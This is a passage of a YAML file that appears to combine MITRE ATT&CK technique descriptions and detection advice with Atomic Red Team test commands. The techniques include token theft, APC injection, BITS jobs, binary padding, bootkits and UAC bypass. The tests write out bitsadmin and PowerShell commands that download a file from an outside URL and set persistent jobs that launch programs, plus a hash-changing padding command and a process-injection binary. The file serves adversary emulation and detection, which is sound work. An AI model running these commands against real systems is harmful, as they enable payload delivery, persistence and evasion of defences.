        Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

        Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

        For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

        Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.
      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      modified: '2021-04-14T18:09:45.539Z'
      created: '2020-01-30T17:37:22.261Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_defense_bypassed:
      - System Access Controls
      x_mitre_detection: Monitor access token activity for abnormal use and permissions
        granted to unusual or suspicious applications and APIs.
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Mark Wee
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
    atomic_tests: []
  T1055.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.004
        url: https://attack.mitre.org/techniques/T1055/004
      - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
          8, 2017.
        source_name: Microsoft APC
      - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
          Code Injection Technique Discovered. Retrieved May 24, 2018.
        source_name: CyberBit Early Bird Apr 2018
      - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
        source_name: ENSIL AtomBombing Oct 2016
      - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
        source_name: Microsoft Atom Table
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Asynchronous Procedure Call
      description: "Adversaries may inject malicious code into processes via the asynchronous
        procedure call (APC) queue in order to evade process-based defenses as well
        as possibly elevate privileges. APC injection is a method of executing arbitrary
        code in the address space of a separate live process. \n\nAPC injection is
        commonly performed by attaching malicious code to the APC Queue (Citation:
        Microsoft APC) of a process's thread. Queued APC functions are executed when
        the thread enters an alterable state.(Citation: Microsoft APC) A handle to
        an existing victim process is first created with native Windows API calls
        such as <code>OpenThread</code>. At this point <code>QueueUserAPC</code> can
        be used to invoke a function (such as <code>LoadLibrayA</code> pointing to
        a malicious DLL). \n\nA variation of APC injection, dubbed \"Early Bird injection\",
        involves creating a suspended process in which malicious code can be written
        and executed before the process' entry point (and potentially subsequent anti-malware
        hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation:
        ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke
        malicious code previously written to the global atom table.(Citation: Microsoft
        Atom Table)\n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via APC injection may also evade detection from security products
        since the execution is masked under a legitimate process. "
      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T18:29:30.961Z'
      created: '2020-01-14T01:29:43.786Z'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      identifier: T1055.004
    atomic_tests:
    - name: Process Injection via C#
      auto_generated_guid: 611b39b7-e243-4c81-87a4-7145a90358b1
      description: |
        Process Injection using C#
        reference: https://github.com/pwndizzle/c-sharp-memory-injection
        Excercises Five Techniques
        1. Process injection
        2. ApcInjectionAnyProcess
        3. ApcInjectionNewProcess
        4. IatInjection
        5. ThreadHijack
        Upon successful execution, cmd.exe will execute T1055.exe, which exercises 5 techniques. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: Output Binary
          type: Path
          default: PathToAtomicsFolder\T1055.004\bin\T1055.exe
      executor:
        command: "#{exe_binary}\n"
        name: command_prompt
  T1197:
    technique:
      id: attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: BITS Jobs
      description: |-
        Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

        The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)

        Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)

        BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)
      external_references:
      - source_name: mitre-attack
        external_id: T1197
        url: https://attack.mitre.org/techniques/T1197
      - url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
          22, 2017.
        source_name: Microsoft COM
      - url: https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx
        description: Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved
          January 12, 2018.
        source_name: Microsoft BITS
      - url: https://msdn.microsoft.com/library/aa362813.aspx
        description: Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.
        source_name: Microsoft BITSAdmin
      - url: https://www.secureworks.com/blog/malware-lingers-with-bits
        description: Counter Threat Unit Research Team. (2016, June 6). Malware Lingers
          with BITS. Retrieved January 12, 2018.
        source_name: CTU BITS Malware June 2016
      - url: https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/
        description: Mondok, M. (2007, May 11). Malware piggybacks on Windows’ Background
          Intelligent Transfer Service. Retrieved January 12, 2018.
        source_name: Mondok Windows PiggyBack BITS May 2007
      - url: https://www.symantec.com/connect/blogs/malware-update-windows-update
        description: Florio, E. (2007, May 9). Malware Update with Windows Update.
          Retrieved January 12, 2018.
        source_name: Symantec BITS May 2007
      - url: https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/
        description: Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia.
          Retrieved January 12, 2018.
        source_name: PaloAlto UBoatRAT Nov 2017
      - url: https://technet.microsoft.com/library/dd939934.aspx
        description: Microsoft. (2011, July 19). Issues with BITS. Retrieved January
          12, 2018.
        source_name: Microsoft Issues with BITS July 2011
      - source_name: Elastic - Hunting for Persistence Part 1
        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
          December 21, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-13T21:36:04.956Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (<code>bitsadmin /list /allusers /verbose</code>).(Citation: Microsoft BITS)

        Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)

        Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)
      x_mitre_defense_bypassed:
      - Firewall
      - Host forensic analysis
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Service: Service Metadata'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Ricardo Dias
      - Red Canary
      x_mitre_version: '1.2'
      identifier: T1197
    atomic_tests:
    - name: Bitsadmin Download (cmd)
      auto_generated_guid: 3c73d728-75fb-4180-a12f-6712864d7421
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: Path
          default: "%temp%\\bitsadmin1_flag.ps1"
      executor:
        command: 'bitsadmin.exe /transfer /Download /priority Foreground #{remote_file}
          #{local_file}

'
        cleanup_command: 'del #{local_file} >nul 2>&1

'
        name: command_prompt
    - name: Bitsadmin Download (PowerShell)
      auto_generated_guid: f63b8bc4-07e5-4112-acba-56f646f3f0bc
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to download
        and execute a payload leveraging PowerShell

        Upon execution you will find a github markdown file downloaded to the Temp directory
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        local_file:
          description: Local file path to save downloaded file
          type: Path
          default: "$env:TEMP\\bitsadmin2_flag.ps1"
      executor:
        command: 'Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination
          #{local_file}

'
        cleanup_command: 'Remove-Item #{local_file} -ErrorAction Ignore

'
        name: powershell
    - name: Persist, Download, & Execute
      auto_generated_guid: 62a06ec5-5754-47d2-bcfc-123d8314c6ae
      description: |
        This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.
        Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.
        This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS"
        This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.
      supported_platforms:
      - windows
      input_arguments:
        command_path:
          description: Path of command to execute
          type: Path
          default: C:\Windows\system32\notepad.exe
        bits_job_name:
          description: Name of BITS job
          type: String
          default: AtomicBITS
        local_file:
          description: Local file path to save downloaded file
          type: Path
          default: "%temp%\\bitsadmin3_flag.ps1"
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
      executor:
        command: |
          bitsadmin.exe /create #{bits_job_name}
          bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
          bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
          bitsadmin.exe /resume #{bits_job_name}
          timeout 5
          bitsadmin.exe /complete #{bits_job_name}
        cleanup_command: 'del #{local_file} >nul 2>&1

'
        name: command_prompt
    - name: Bits download using desktopimgdownldr.exe (cmd)
      auto_generated_guid: afb5e09e-e385-4dee-9a94-6ee60979d114
      description: "This test simulates using desktopimgdownldr.exe to download a
        malicious file\ninstead of a desktop or lockscreen background img. The process
        that actually makes \nthe TCP connection and creates the file on the disk
        is a svchost process (“-k netsvc -p -s BITS”) \nand not desktopimgdownldr.exe.
        See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n"
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: Remote file to download
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md
        download_path:
          description: Local file path to save downloaded file
          type: Path
          default: SYSTEMROOT=C:\Windows\Temp
        cleanup_path:
          description: path to delete file as part of cleanup_command
          type: Path
          default: C:\Windows\Temp\Personalization\LockScreenImage
        cleanup_file:
          description: file to remove as part of cleanup_command
          type: String
          default: "*.md"
      executor:
        command: 'set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file}
          /eventName:desktopimgdownldr

'
        cleanup_command: 'del #{cleanup_path}\#{cleanup_file} >nul 2>&1

'
        name: command_prompt
  T1027.001:
    technique:
      created: '2020-02-05T14:04:25.865Z'
      modified: '2020-09-17T18:25:33.828Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5
      description: "Adversaries may use binary padding to add junk data and change
        the on-disk representation of malware. This can be done without affecting
        the functionality or behavior of a binary, but can increase the size of the
        binary beyond what some security tools are capable of handling due to file
        size limitations. \n\nBinary padding effectively changes the checksum of the
        file and can also be used to avoid hash-based blocklists and static anti-virus
        signatures.(Citation: ESET OceanLotus) The padding used is commonly generated
        by a function to create junk data and then appended to the end or applied
        to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing
        the file size may decrease the effectiveness of certain tools and detection
        capabilities that are not designed or configured to scan large files. This
        may also reduce the likelihood of being collected for analysis. Public file
        scanning services, such as VirusTotal, limits the maximum size of an uploaded
        file to be analyzed.(Citation: VirusTotal FAQ) "
      name: Binary Padding
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1027.001
        url: https://attack.mitre.org/techniques/T1027/001
      - external_id: CAPEC-572
        source_name: capec
        url: https://capec.mitre.org/data/definitions/572.html
      - external_id: CAPEC-655
        source_name: capec
        url: https://capec.mitre.org/data/definitions/655.html
      - source_name: ESET OceanLotus
        description: Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using
          old tricks. Retrieved May 22, 2018.
        url: https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
      - source_name: Securelist Malware Tricks April 2017
        url: https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/
        description: Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass
          Detection in the Age of Big Data. Retrieved May 30, 2019.
      - source_name: VirusTotal FAQ
        url: https://www.virustotal.com/en/faq/
        description: VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.
      x_mitre_defense_bypassed:
      - Anti-virus
      - Signature-based detection
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_detection: 'Depending on the method used to pad files, a file-based
        signature may be capable of detecting padding using a scanning or on-access
        based tool.  When executed, the resulting process from padded files may also
        exhibit other behavior characteristics of being used to conduct an intrusion
        such as system and network information Discovery or Lateral Movement, which
        could be used as event indicators that point to the source file. '
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'File: File Content'
      x_mitre_contributors:
      - Martin Jirkal, ESET
      identifier: T1027.001
    atomic_tests:
    - name: Pad Binary to Change Hash - Linux/macOS dd
      auto_generated_guid: ffe2346c-abd5-4b45-a713-bf5f1ebd573a
      description: |
        Uses dd to add a zero to the binary to change the hash.

        Upon successful execution, dd will modify `/tmp/evil-binary`, therefore the expected hash will change.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_pad:
          description: Path of binary to be padded
          type: Path
          default: "/tmp/evil-binary"
      dependency_executor_name: bash
      dependencies:
      - description: 'The binary must exist on disk at specified location (#{file_to_pad})

'
        prereq_command: 'if [ -f #{file_to_pad} ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: 'cp /bin/ls #{file_to_pad}

'
      executor:
        command: 'dd if=/dev/zero bs=1 count=1 >> #{file_to_pad}

'
        cleanup_command: 'rm #{file_to_pad}

'
        name: sh
  T1542.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1542.003
        url: https://attack.mitre.org/techniques/T1542/003
      - external_id: CAPEC-552
        source_name: capec
        url: https://capec.mitre.org/data/definitions/552.html
      - source_name: Mandiant M Trends 2016
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
      - url: http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion
        description: Lau, H. (2011, August 8). Are MBR Infections Back in Fashion?
          (Infographic). Retrieved November 13, 2014.
        source_name: Lau 2011
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Bootkit
      description: |-
        Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.

        A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)

        The MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.
      id: attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-09-17T19:47:14.338Z'
      created: '2019-12-19T21:05:38.123Z'
      x_mitre_defense_bypassed:
      - Host intrusion prevention systems
      - Anti-virus
      - File monitoring
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: Perform integrity checking on MBR and VBR. Take snapshots
        of MBR and VBR and compare against known good samples. Report changes to MBR
        and VBR as they occur for indicators of suspicious activity and further analysis.
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      x_mitre_platforms:
      - Linux
      - Windows
    atomic_tests: []
  T1612:
    technique:
      id: attack-pattern--800f9819-7007-4540-a520-40e655876800
      description: "Adversaries may build a container image directly on a host to
        bypass defenses that monitor for the retrieval of malicious images from a
        public registry. A remote <code>build</code> request may be sent to the Docker
        API that includes a Dockerfile that pulls a vanilla base image, such as alpine,
        from a public or local registry and then builds a custom image upon it.(Citation:
        Docker Build Image)\n\nAn adversary may take advantage of that <code>build</code>
        API to build a custom image on the host that includes malware downloaded from
        their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610)
        using that custom image.(Citation: Aqua Build Images on Hosts) If the base
        image is pulled from a public registry, defenses will likely not detect the
        image as malicious since it’s a vanilla image. If the base image already resides
        in a local registry, the pull may be considered even less suspicious since
        the image is already in the environment. "
      name: Build Image on Host
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1612
        url: https://attack.mitre.org/techniques/T1612
      - source_name: Docker Build Image
        url: https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild
        description: Docker. ( null). Docker Engine API v1.41 Reference - Build an
          Image. Retrieved March 30, 2021.
      - source_name: Aqua Build Images on Hosts
        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-19T13:39:56.999Z'
      created: '2021-03-30T17:54:03.944Z'
      x_mitre_platforms:
      - Containers
      x_mitre_contributors:
      - Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security
      - Roi Kol, @roykol1, Team Nautilus Aqua Security
      - Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security
      - Vishwas Manral, McAfee
      x_mitre_detection: Monitor for unexpected Docker image build requests to the
        Docker daemon on hosts in the environment. Additionally monitor for subsequent
        network communication with anomalous IPs that have never been seen before
        in the environment that indicate the download of malicious code.
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Image: Image Creation'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
    atomic_tests: []
  T1548.002:
    technique:
      created: '2020-01-30T14:24:34.977Z'
      modified: '2020-07-22T21:36:52.458Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1548.002
        url: https://attack.mitre.org/techniques/T1548/002
      - url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
          June 3, 2016.
        source_name: TechNet How UAC Works
      - url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
          7 User Account Control. Retrieved July 26, 2016.'
        source_name: TechNet Inside UAC
      - url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
          26, 2016.
        source_name: MSDN COM Elevation
      - url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
          12, 2014.
        source_name: Davidson Windows
      - url: https://github.com/hfiref0x/UACME
        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
        source_name: Github UACMe
      - url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
          and Registry Hijacking. Retrieved December 27, 2016.
        source_name: enigma0x3 Fileless UAC Bypass
      - url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
        source_name: Fortinet Fareit
      - url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
          3, 2016.
        source_name: SANS UAC Bypass
      - url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
          May 25, 2017.
        source_name: enigma0x3 sdclt app paths
      - url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
          Retrieved May 25, 2017.
        source_name: enigma0x3 sdclt bypass
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Bypass User Account Control
      description: |-
        Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

        If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

        Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

        * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

        Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
      x_mitre_defense_bypassed:
      - Windows User Account Control
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - Administrator
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.

        Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:

        * The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)

